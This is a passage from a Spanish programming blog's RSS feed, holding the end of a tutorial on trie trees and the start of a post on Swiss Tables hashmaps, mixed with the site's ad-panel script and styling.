recomendándotelo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada de SQL Pocket Guide\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103829/SQL-pocket-guide_udtfro.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3CYgHIO\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de SQL Pocket Guide y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;No te conformes con consultas SQL básicas\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Root--&gt;C;&#xA;    C--&gt;A;&#xA;    A--&gt;T;&#xA;    A--&gt;R;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Piénsalo como un árbol genealógico, pero en vez de caras usas letras.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;como-se-diferencia-de-un-arbol-binario&#34;&gt;¿Cómo se diferencia de un árbol binario?&lt;/h3&gt;&#xA;&lt;p&gt;A primera vista podrías pensar: &amp;ldquo;¿Un trie tree no es básicamente un árbol binario?&amp;rdquo; Pues no, lamento desilusionarte. Un árbol binario se organiza alrededor de dos nodos hijos (izquierdo y derecho), normalmente para ordenar números o balancear estructuras.&lt;/p&gt;&#xA;&lt;p&gt;Un Trie, en cambio, no se preocupa por números ni por ordenarlos. Puede tener tres, cuatro o tantos hijos como caracteres existan (bueno, solo de la A a la Z).&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Root--&gt;D;&#xA;    D--&gt;E;&#xA;    E--&gt;A;&#xA;    A--&gt;L;&#xA;    D--&gt;O;&#xA;    D--&gt;I;&#xA;    I--&gt;G;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Aquí algunas diferencias sutiles:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Árbol binario&lt;/strong&gt;: Piensa en un bibliotecario que ordena libros por números o alfabéticamente. Cada rama izquierda es &amp;ldquo;menor&amp;rdquo;, cada rama derecha es &amp;ldquo;mayor&amp;rdquo;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Trie tree&lt;/strong&gt;: Piensa en agrupar libros por títulos compartidos. Cada rama es una letra más hasta terminar la palabra.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Por eso los tries brillan con strings y se ven forzados si los quieres tratar como lo que no son, árboles binarios (como tus relaciones amorosas), así que no lo hagas.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;para-que-se-usan-los-trie-trees&#34;&gt;¿Para qué se usan los trie trees?&lt;/h2&gt;&#xA;&lt;p&gt;Los tries aparecen en más lugares de los que pensarías. Algunos ejemplos:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Autocomplete&lt;/strong&gt;: Cada vez que tu celular sugiere &amp;ldquo;pizza&amp;rdquo; después de escribir &amp;ldquo;pi,&amp;rdquo; probablemente hay un trie detrás. Hace las consultas &lt;del&gt;ridículamente&lt;/del&gt; rápidas.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Correctores ortográficos&lt;/strong&gt;: Pueden comprobar en un instante si una palabra está en el diccionario (similar a una Swiss Table o a un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/databases/construi-un-simulador-visual-de-un-bloom-filter/&#34;&gt;Bloom Filter&lt;/a&gt;&#xA;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Ruteo de IPs&lt;/strong&gt;: Las redes usan esta misma idea de coincidencia de prefijos para decidir a dónde enviar los paquetes.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Juegos de palabras&lt;/strong&gt;: ¿Has usado ayudas de Scrabble en línea?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;La idea central es que no buscas toda la palabra de un solo jalón—buscas por fragmentos, prefijos y caminos, lo que hace las cosas mucho más rápidas y fáciles.&lt;/p&gt;&#xA;&lt;h2 id=&#34;construyendo-uno-a-la-minimalista&#34;&gt;Construyendo uno (a la minimalista)&lt;/h2&gt;&#xA;&lt;p&gt;Ok, ¿cómo construir uno? Bueno, este algoritmo seguro está en mil blogs ya, pero aquí va una vez más:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Empieza con un nodo raíz (una celda vacia).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Root;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Para cada palabra, recorre sus caracteres uno por uno.&lt;/li&gt;&#xA;&lt;li&gt;Si un carácter no existe en el nodo actual, crea un nodo hijo para él.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Root--&gt;C;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;ol start=&#34;4&#34;&gt;&#xA;&lt;li&gt;Baja a ese hijo y repite hasta guardar la palabra completa.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Root--&gt;C;&#xA;    C--&gt;A;&#xA;    A--&gt;R;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;ol start=&#34;5&#34;&gt;&#xA;&lt;li&gt;Marca el nodo final como &amp;ldquo;fin de palabra&amp;rdquo; (puedes usar un asterisco o lo que quieras).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Root--&gt;C;&#xA;    C--&gt;A;&#xA;    A--&gt;R*;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Eso es todo. Para &amp;ldquo;car,&amp;rdquo; harías raíz → &amp;ldquo;c&amp;rdquo; → &amp;ldquo;a&amp;rdquo; → &amp;ldquo;r.&amp;rdquo; Para &amp;ldquo;cat,&amp;rdquo; reutilizas &amp;ldquo;c&amp;rdquo; → &amp;ldquo;a&amp;rdquo; y solo agregas una &amp;ldquo;t.&amp;rdquo; Justo como en el simulador de arriba.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Root--&gt;C;&#xA;    C--&gt;A;&#xA;    A--&gt;R*;&#xA;    A--&gt;T*;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;En código, normalmente se reduce a un diccionario de diccionarios (o mapas dentro de mapas) con una bandera que indica cuándo termina una palabra.&lt;/p&gt;&#xA;&lt;h2 id=&#34;las-desventajas-porque-nada-es-perfecto&#34;&gt;Las desventajas, porque nada es perfecto&lt;/h2&gt;&#xA;&lt;p&gt;Los trie trees cargan con algunos problemas:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Consumen mucha memoria&lt;/strong&gt;: Pueden crecer demasiado si guardas muchas palabras, sobre todo con alfabetos grandes, piensa en los tries de Google.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Sobrecarga de implementación&lt;/strong&gt;: Un simple array o un hash lookup suele ser más sencillo y rápido para datasets pequeños; de otro modo es un overkill.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Cache-unfriendly&lt;/strong&gt;: Como los nodos pueden estar dispersos en memoria, acceder a ellos puede ser más lento en máquinas reales comparado con algo compacto como un hash table, así que implementar un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/cache-en-django-rest-framework-con-memcached/&#34;&gt;sistema de caché&lt;/a&gt;&#xA; puede complicarse.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;las-ventajas-y-por-que-los-devs-los-aman-igual&#34;&gt;Las ventajas (y por qué los devs los aman igual)&lt;/h2&gt;&#xA;&lt;p&gt;Aquí es donde realmente lucen:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Búsquedas rápidas&lt;/strong&gt;: Verificar si una palabra existe es tan rápido como deletrearla.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Amigables con prefijos&lt;/strong&gt;: Autocompletado y búsquedas por prefijo salen sin esfuerzo.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Ordenados por defecto&lt;/strong&gt;: A diferencia de los hash maps, las palabras en un trie salen naturalmente en orden alfabético, aunque las cosas se complican en idiomas como japonés o chino.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Almacenamiento compartido&lt;/strong&gt;: Los prefijos comunes solo se guardan una vez, lo que ahorra espacio si tu dataset tiene mucha superposición. Además, como muchas palabras provienen de morfemas, el árbol puede almacenar muchas variaciones en mínimo espacio.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Son devoradores de memoria, pero rapidísimos cuando estás constantemente verificando o sugiriendo palabras.&lt;/p&gt;&#xA;&lt;h2 id=&#34;rendimiento-big-o-y-los-trie-trees&#34;&gt;Rendimiento Big O y los Trie Trees&lt;/h2&gt;&#xA;&lt;p&gt;¿Y qué pasa con el rendimiento y la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/la-notacion-big-para-analisis-algoritmico/&#34;&gt;notación Big O&lt;/a&gt;&#xA;? Esta estructura de datos tiene un rendimiento de O(L), donde L es la longitud de la palabra. El peor caso es una palabra muy larga, o frases enteras, pero nada más.&lt;/p&gt;&#xA;&lt;h3 id=&#34;como-optimizar-un-trie-tree&#34;&gt;¿Cómo optimizar un Trie Tree?&lt;/h3&gt;&#xA;&lt;p&gt;Existen técnicas para optimizar memoria si quieres sacarle más jugo a esta estructura. Y como la memoria es el talón de Aquiles de los tries, es justo ahí donde conviene mejorar.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Puedes usar arrays en lugar de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-maps-o-diccionarios/&#34;&gt;hash maps&lt;/a&gt;&#xA; para los hijos.&lt;/li&gt;&#xA;&lt;li&gt;Si trabajas con un alfabeto fijo puedes usar representaciones con Bitmask.&lt;/li&gt;&#xA;&lt;li&gt;Puedes almacenar contadores de prefijos en cada nodo para saber fácilmente cuántas palabras empiezan con cierto prefijo.&lt;/li&gt;&#xA;&lt;li&gt;También puedes guardar metadata extra en los nodos (como frecuencias para escritura predictiva).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;el-final-de-mi-post-sobre-trie-trees&#34;&gt;El final de mi post sobre trie trees&lt;/h2&gt;&#xA;&lt;p&gt;Probablemente no uses esta estructura de datos todos los días, a menos que trabajes en buscadores, autocompletado u otras tareas similares, pero sí aparecen seguido en sistemas grandes y complejos. Aun así, creo que muestran cómo se puede afinar el rendimiento de formas bien inesperadas.&lt;/p&gt;&#xA;&lt;h2 id=&#34;algunas-implementaciones-de-trie-trees&#34;&gt;Algunas implementaciones de Trie trees&lt;/h2&gt;&#xA;&lt;p&gt;Por favor no reinventes la rueda, aquí hay implementaciones de la comunidad ya probadas:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/pytries/marisa-trie&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Marisa-trie (Python)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pypi.org/project/datrie/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Datrie (Python)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/paritytech/trie&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Trie (Rust)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/dghubble/trie&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Trie (Golang)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;El otro día estaba leyendo la segunda parte de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4nsgK0V&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;System Design Interview&lt;/a&gt;&#xA;, ¿o era la primera? y recuerdo que el autor usaba un trie tree para diseñar un buscador con autocompletado estilo Google. Nunca había escuchado de esa estructura de datos, así que decidí crear un simulador visual para que lo entiendas más rápido y mejor.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1757735868/coffee-bytes/google-suggestion-trie-tree_n7a45w.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1757735868/coffee-bytes/google-suggestion-trie-tree_n7a45w.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Google search suggestion using a trie tree&#34; width=&#34;911&#34; height=&#34;427&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Además de su uso más común: sugerencias de text, también puedes encontrar trie trees en coincidencia de secuencias de ADN en bioinformática, en ruteo de comandos en CLIs, compiladores y detección de patrones en seguridad, por mencionar solo algunos casos.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Swiss Tables el hashmap con rendimiento superior</title>
      <link>https://coffeebytes.dev/es/software-architecture/swiss-tables-el-hashmap-con-rendimiento-superior/</link>
      <pubDate>Sun, 21 Sep 2025 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/software-architecture/swiss-tables-el-hashmap-con-rendimiento-superior/</guid>
      
      <category>software architecture</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;h2 id=&#34;el-hash-map-recibio-una-actualizacion-tipo-navaja-suiza&#34;&gt;El Hash Map Recibió una Actualización Tipo &amp;ldquo;Navaja Suiza&amp;rdquo;&lt;/h2&gt;&#xA;&lt;p&gt;Seguramente ya has usado &lt;strong&gt;hashmaps&lt;/strong&gt; antes, pero el asunto aquí es que los usas y te olvidas de sus entrañas. Limitas tu conocimiento de los hashmaps a obtener y asignar llaves, tal vez iterar sobre ellos, y ya.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hashmap.get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;key&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hashmap.set(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;key&amp;#34;&lt;/span&gt;, value)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// o&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;hashmap[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;key&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; value&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;},{\&#34;description\&#34;:\&#34;No te conformes con SELECT, UPDATE, DELETE, JOINS y UNIONS, SQL tiene MUCHO MÁS que ofrecer para hacer tu día a día más fácil. Todavía no he terminado de leer este libro pero de momento tiene muy buena pinta. Actualizaré esto cuando lo termine pero hasta ahora me siento bastante cómodo recomendándotelo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada de SQL Pocket Guide\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103829/SQL-pocket-guide_udtfro.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3CYgHIO\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de SQL Pocket Guide y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;No te conformes con consultas SQL básicas\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + 